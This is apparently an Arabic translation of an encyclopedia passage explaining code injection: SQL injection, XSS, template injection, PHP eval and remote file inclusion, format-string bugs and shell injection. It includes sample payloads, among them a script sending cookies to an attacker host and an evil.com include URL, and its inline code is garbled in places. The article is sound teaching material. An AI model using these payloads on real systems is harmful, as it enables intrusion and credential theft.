حقن التعليمات البرمجية

يستغل هجوم حقن SQL بنية SQL لحقن أوامر خبيثة يمكنها قراءة قاعدة البيانات أو تعديلها أو المساس بمعنى الاستعلام الأصلي. ^{[ 13 ]}

على سبيل المثال، لنفترض صفحة ويب تحتوي على حقلين نصيين يسمحان للمستخدمين بإدخال اسم المستخدم وكلمة المرور لتسجيل الدخول إلى الموقع. سيستقبل كود خادم الويب (الافتراضي) اسم المستخدم وكلمة المرور، وسيُنشئ استعلام SQL للتحقق من وجود اسم المستخدم وصحة كلمة المرور. إذا أعاد الاستعلام أي نتائج، فسيتم منح الوصول.

على سبيل المثال، إذا تم إعطاء اسم المستخدم aliceوكلمة المرور hunter2، فسيقوم الخادم بإنشاء وتشغيل هذا الاستعلام:

حدد اسم المستخدم من قائمة المستخدمين حيث اسم المستخدم يساوي ' alice ' وكلمة المرور تساوي ' hunter2 '

لكن إذا قام المهاجم بإدخال hunter2' OR '1'='1كلمة المرور في حقل كلمة المرور، فسيقوم الخادم بإنشاء هذا الاستعلام وتشغيله:

استعلم عن اسم المستخدم من قائمة المستخدمين حيث يكون اسم المستخدم هو 'alice' وكلمة المرور هي ' hunter2 ' أو ' 1 ' = ' 1'

بينما hunter2قد تكون كلمة المرور صحيحة أو خاطئة، فإن التعبير '1'='1'صحيح دائمًا وستقوم قاعدة البيانات بإرجاع جميع الصفوف في UserListالجدول - مما يسمح للمهاجم بتسجيل الدخول حتى لو لم يكن لديه كلمة المرور الصحيحة.

يمكن توسيع نطاق هذه التقنية للسماح للمهاجم بتنفيذ عدة أوامر. على سبيل المثال، إذا قدم المهاجم كلمة المرور hunter2'; DROP TABLE UserList; --، فسيكون الاستعلام الناتج كالتالي:

حدد اسم المستخدم من جدول UserList حيث يكون اسم المستخدم هو ' alice' وكلمة المرور هي ' hunter2 ' ؛ ثم احذف جدول UserList .

بما أن ;الرمز يشير إلى نهاية عبارة، فمن الممكن بدء عبارة جديدة - في هذه الحالة، DROP TABLE. يشير الرمز --إلى بداية تعليق، مما يُلغي اللاحقة 'التي يُضيفها الخادم عند إنشاء صيغة الاستعلام. نتيجةً لهاتين العبارتين، لن يتم إرجاع أي صفوف (إلا إذا كان اسم المستخدم Username لديه كلمة مرور فارغة)، وسيتم UserListحذف الجدول بأكمله.

بالنسبة لمحركات قواعد البيانات التي توسع لغة SQL للسماح للاستعلامات باستدعاء برامج خارجية، يمكن للمهاجم الحصول على هذه القدرة أيضًا.

حقن التعليمات البرمجية هو إدخال تعليمات برمجية خبيثة في تطبيق ما. تحتوي بعض خوادم الويب على برنامج نصي لسجل الزوار ، يستقبل رسائل قصيرة من المستخدمين، وعادةً ما يستقبل رسائل مثل:

موقع رائع جداً!

ومع ذلك، قد يكون لدى شخص خبيث علم بوجود ثغرة أمنية تسمح بحقن التعليمات البرمجية في دفتر الزوار، فيقوم بإدخال رسالة مثل:

موقع رائع ، أعتقد أنني سأستخدمه. <script> window.location = " https: //some_attacker/evilcgi/cookie.cgi ? steal = " + escape ( document.cookie ) </script>

إذا قام مستخدم آخر بزيارة الصفحة، فسيتم تنفيذ الكود المُدخَل. يسمح هذا الكود للمهاجم بانتحال شخصية مستخدم آخر. مع ذلك، قد يتسبب مستخدم غير مُدرك لهذا الخلل البرمجي نفسه في عرض الموقع الإلكتروني لرمز HTML غير صالح.

يُعدّ كلٌّ من HTML وحقن البرامج النصية موضوعين شائعين، ويُطلق عليهما عادةً اسم " البرمجة النصية عبر المواقع " أو "XSS". تشير XSS إلى ثغرة حقن يتم فيها إدخال بيانات المستخدم إلى برنامج نصي على الويب أو ما شابه ذلك في ملف HTML الناتج دون التحقق من وجود أي كود HTML أو برامج نصية.

ترتبط العديد من هذه المشكلات بافتراضات خاطئة حول البيانات المدخلة الممكنة أو تأثيرات البيانات الخاصة. ^{[ 14 ]}

تُستخدم محركات القوالب بكثرة في تطبيقات الويب الحديثة لعرض البيانات الديناميكية. مع ذلك، فإن الاعتماد على بيانات المستخدم غير المُدققة قد يؤدي في كثير من الأحيان إلى ثغرات أمنية خطيرة ^{[ 15 ]} ، مثل حقن القوالب من جانب الخادم. ورغم تشابه هذه الثغرة مع البرمجة النصية عبر المواقع ، إلا أن حقن القوالب يُتيح تنفيذ التعليمات البرمجية على خادم الويب بدلاً من متصفح الزائر. يستغل هذا الأسلوب آلية عمل شائعة في تطبيقات الويب، والتي تعتمد عادةً على مدخلات المستخدم والقوالب لعرض صفحة الويب. يوضح المثال أدناه هذه الفكرة، حيث {{visitor_name}}يتم استبدال القالب بالبيانات أثناء عملية العرض.

مرحباً {{visitor_name}} 

يمكن للمهاجم استغلال هذه الآلية لحقن شيفرة خبيثة في مسار العرض visitor_name. وبحسب تصميم تطبيق الويب، قد يختار حقن شيفرة {{7*'7'}}يمكن للمُعالج تحليلها Hello 7777777. تجدر الإشارة إلى أن خادم الويب الفعلي قد قيّم الشيفرة الخبيثة، وبالتالي قد يكون عرضة لتنفيذ شيفرة عن بُعد .

تحدث ثغرة الحقن عندما يتمكن المهاجم من التحكم في كل أو جزء من سلسلة الإدخال التي يتم إدخالها في استدعاء دالة . ^{[ 16 ]}eval()eval()

$myvar = 'somevalue' ; $x = $_GET [ 'arg' ]; eval ( '$myvar = ' . $x . ';' );

evalستُعالج وسيطة " " كـ PHP ، لذا يمكن إضافة أوامر إضافية. على سبيل المثال، إذا تم تعيين "arg" إلى " "، فسيتم تشغيل كود إضافي يقوم بتنفيذ برنامج على الخادم، وفي هذه الحالة " ".10;system('/bin/echo uh-oh')/bin/echo

تسمح لغة PHP بتسلسل وفك تسلسل الكائنات بأكملها . إذا سُمح بإدخال بيانات غير موثوقة إلى دالة فك التسلسل، فمن الممكن استبدال الفئات الموجودة في البرنامج وتنفيذ هجمات خبيثة. ^{[ 17 ]} وقد تم اكتشاف هجوم مماثل على نظام إدارة المحتوى Joomla في عام 2013. ^{[ 18 ]}

لنفترض برنامج PHP هذا (الذي يتضمن ملفًا محددًا حسب الطلب):

<?php $color = 'blue' ; if ( isset ( $_GET [ 'color' ])) $color = $_GET [ 'color' ]; require ( $color . '.php' );

يتوقع المثال توفير لون، بينما قد يقوم المهاجمون بتوفير COLOR=http://evil.com/exploitما يتسبب في تحميل PHP للملف البعيد.

تظهر أخطاء تنسيق السلاسل النصية غالبًا عندما يرغب المبرمج في طباعة سلسلة نصية تحتوي على بيانات مُدخلة من المستخدم. قد يكتب المبرمج خطأً `<format>` printf(buffer)بدلًا من ` printf("%s", buffer)<format>`. في الحالة الأولى، يُفسر البرنامج buffer`<format>` على أنه `<format>` ويُحلل أي تعليمات تنسيق قد يحتويها. أما في الحالة الثانية، فيطبع البرنامج السلسلة النصية على الشاشة كما أراد المبرمج. لنفترض برنامج C قصيرًا يحتوي على متغير محلي من نوع `char array`password يُخزن كلمة مرور؛ يطلب البرنامج من المستخدم إدخال عدد صحيح وسلسلة نصية، ثم يطبع السلسلة النصية التي أدخلها المستخدم.

#include <stdio.h>char input [ 100 ]; int number ; char password [ 10 ] = "Password1" ;printf ( "أدخل عددًا صحيحًا \n " ); scanf ( "%d" , & number ); printf ( "الرجاء إدخال سلسلة نصية \n " ); fgets ( input , sizeof ( input ), stdin );printf ( input ); printf ( " \n " );

إذا احتوى مُدخل المستخدم على قائمة من مُحدِّدات التنسيق، مثل %s%s%s%s%s%s%s%s، printf()فسيبدأ البرنامج بالقراءة من المكدس . في النهاية، سيصل أحد %sمُحدِّدات التنسيق إلى عنوان password، الموجود في المكدس، ويطبعه Password1على الشاشة.

بدلاً من ذلك، لطباعة المدخلات بأمان:

printf ( "%s " , input );

هذا يُبرمج سلوك التنسيق بشكل ثابت، مما يمنع حقن مُحدد التنسيق.

يُطلق على حقن الأوامر (أو حقن الأوامر ^{[ 19 ]} ) اسم حقن الأوامر في أنظمة يونكس، ولكنه ينطبق على معظم الأنظمة التي تسمح للبرامج بتنفيذ أوامر سطر الأوامر برمجيًا . إليك مثال على نص برمجي tcsh مُعرّض للاختراق :

#!/bin/tcsh # التحقق من الوسيط # يُخرج "متطابق" إذا كان الوسيط يساوي 1 if ( $1 == 1 ) echo متطابق 

إذا تم تخزين ما سبق في الملف القابل للتنفيذ ، فسيحاول ./checkأمر الصدفة تنفيذ أمر الصدفة (الافتراضي) بدلاً من مقارنة الوسيط الأول بالقيمة الثابتة 1. هنا، يكون الكود المُستهدف هو الكود الذي يحاول التحقق من المعامل، وهو الكود نفسه الذي ربما كان يحاول التحقق من صحة المعامل للدفاع ضد الهجوم. ^{[ 20 ]}./check " 1 ) evil"evil

أي دالة يمكن استخدامها لإنشاء وتنفيذ أمر shell تُعدّ وسيلة محتملة لشنّ هجوم حقن shell. ومن بين هذه الدوال system(): StartProcess()و و System.Diagnostics.Process.Start().

تُعدّ أنظمة العميل والخادم، مثل تفاعل متصفح الويب مع خوادم الويب، عرضةً لهجمات حقن النظام. لنفترض برنامج PHP قصيرًا يمكن تشغيله على خادم ويب لتشغيل برنامج خارجي لاستبدال funnytextكلمة أرسلها المستخدم بكلمة أخرى.

<?php passthru ( "/bin/funnytext " . $_GET [ 'USER_INPUT' ]);

تُنشئ الدالة passthruفي البرنامج أعلاه أمرًا برمجيًا يُنفذه خادم الويب. ولأن جزءًا من هذا الأمر مُستمد من عنوان URL الذي يوفره متصفح الويب، فإن هذا يسمح بحقن أوامر خبيثة في عنوان URL . يمكن حقن التعليمات البرمجية في هذا البرنامج بعدة طرق من خلال استغلال بنية ميزات مختلفة في سطر الأوامر (هذه القائمة غير شاملة): ^{[ 21 ]}

توفر بعض اللغات وظائف للهروب أو الاقتباس بشكل صحيح من السلاسل النصية التي تُستخدم لإنشاء أوامر shell:

• PHP : escapeshellarg()وescapeshellcmd()
• بايثون :shlex.quote()

مع ذلك، يظل هذا يُلقي بعبء معرفة هذه الدوال وتعلمها على عاتق المبرمجين، ويحثهم على تذكر استخدامها في كل مرة يستخدمون فيها أوامر سطر الأوامر. إضافةً إلى استخدام هذه الدوال، يُنصح أيضًا بالتحقق من صحة مدخلات المستخدم أو تنظيفها.

البديل الأكثر أمانًا هو استخدام واجهات برمجة التطبيقات (APIs) التي تُنفّذ الوظائف المطلوبة مباشرةً في لغة البرمجة المُستخدمة، بدلاً من استدعاء برنامج خارجي في سطر الأوامر، مما يمنع إمكانية حقن البرامج الضارة في سطر الأوامر. على سبيل المثال، بدلاً من تنفيذ وظائف Git عن طريق استدعاء git ...أوامر سطر الأوامر، يُفضّل استخدام واجهة برمجة تطبيقات Git مثل libgit2 .